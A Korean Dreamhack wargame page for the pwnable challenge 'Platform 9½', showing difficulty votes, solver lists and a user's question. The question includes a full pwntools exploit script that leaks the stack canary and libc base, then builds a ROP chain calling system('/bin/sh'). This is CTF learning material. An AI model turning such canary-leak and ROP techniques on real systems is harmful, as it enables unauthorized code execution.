학습
워게임
CTF
커뮤니티
랭킹
스토어
커리어
Beta
로그인
|
기업 서비스
Home
학습
워게임
CTF
커뮤니티
랭킹
커리어
Beta
기업 서비스로 이동하기 >
LEVEL 4
Platform 9½
pwnable
177
59
2025.07.26. 09:00:00
로그인 하고 문제 풀기
문제 정보
풀이
14
난이도 투표
20
질문
1
최근 풀이자
59
댓글
1
해당 문제는 Dreamhack CTF Season 7 Round #14 (🌱Div2) 에 출제된 문제입니다.
문제 설명
Description
You can board
Dreamhack Express
from platform 9½!
Translate
난이도 투표
20
문제 풀이를 완료한 후에 피드백을 제출할 수 있습니다.
투표 결과
전체 투표 로그
1 / 4
연어초밥
공부벌레
LEVEL 4에 투표했습니다.
3일 전
Strangek
대표 업적 없음
LEVEL 3에 투표했습니다.
6일 전
pandas
시스템 해킹 전문가
LEVEL 4에 투표했습니다.
12일 전
kwakmu18
시스템 해킹 전문가
LEVEL 4에 투표했습니다.
13일 전
kidz0
시스템 해킹 고인물
LEVEL 5에 투표했습니다.
15일 전
질문
1
문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
ROP 가젯 실행 안됨
rop 가젯이 스택에 잘 들어갔는데도 stopped with exit code -11 (SIGSEGV) 발생합니다 어떻게 해야 해결 가능 할까요? 다음은 코어파일 분석 결과입니다. 마지막에 3을 전송 하여 리턴주소 속 덮인 rop 가젯을 실행 시킬 생각으로 코드를 작성하였습니다. from pwn import * context.log_level = 'debug' #p = remote("host8.dreamhack.games", 20068) p = process("./chall", env={"LD_PRELOAD": "./libc.so.6"}) lib = ELF("./libc.so.6") def edit(train_idx, payload): p.sendlineafter(b">> ", b"2") p.sendlineafter(b"Enter train number:", str(train_idx).encode()) p.send(payload) def view(train_idx): p.sendlineafter(b">>", b"1") p.sendlineafter("Enter train number:", str(train_idx).encode()) [1] overwrite the bss edit(0, str(2077).encode()) [2] leak the canary payload = b"a" * 0x88 + b"b" edit(1,payload) view(1) p.recvuntil(payload) line = p.recvline().strip() print(f"[raw] {line.hex()}") if len(line) < 7: print("[-] Leak too short!") exit() canary = b"\x00" + line[:7] print(f"[+] canary: {hex(u64(canary))}") [3] leak the libc payload = b"a"* 0x98 edit(1,payload) view(1) p.recvuntil(payload) libc_start_main = p.recv(6) + b"\x00\x00" print(f"libc_start_main: {hex(u64(libc_start_main))}") libc = u64(libc_start_main) libc_base = libc - 0x21ca - 0x28000 print(f"libc_base: {hex(libc_base)}") [4] ROP one_gadget = libc_base + 0x583ec # 0x583f3, 0xef4ce, 0xef52b rop = ROP(lib) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] + libc_base system = libc_base + lib.symbols['system'] binsh = next(lib.search(b'/bin/sh')) + libc_base ret = next(lib.search(asm("ret"))) + libc_base print(f"[+] pop rdi; ret gadget : {hex(pop_rdi)}") print(f"[+] system() address : {hex(system)}") print(f"[+] \"/bin/sh\" string : {hex(binsh)}") print(f"[+] ret gadget : {hex(ret)}") payload = b"a" * 0x88 + canary + b"a" * 8 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) edit(1,payload) p.interactive() `
haehet
답변
1
추천
0
21일 전
«
‹
1
›
»
LEVEL 4
Platform 9½
pwnable
177
59
2025.07.26. 09:00:00
로그인 하고 문제 풀기
출제자 정보
Dreamhack
대표 업적 없음
Dreamhack official account
First Blood!
keymoon
2024 Invitational CHAMPION
출제된 지
41분
만에 풀이 완료!
최근 풀이자
59
연어초밥
공부벌레
3일 전
tsuneki
대표 업적 없음
4일 전
sykyle46
대표 업적 없음
6일 전
Strangek
대표 업적 없음
6일 전
TheFlash2k
대표 업적 없음
7일 전
nomeaning
대표 업적 없음
11일 전
pandas
시스템 해킹 전문가
12일 전
kwakmu18
시스템 해킹 전문가
13일 전
yadohyun
대표 업적 없음
14일 전
keyme
CTF Second Place
14일 전
«
‹
1
2
3
4
5
›
»
댓글
1
Rootsquare
바탈리온
22일 전
What is this strange train...
Translate
«
‹
1
›
»
댓글 1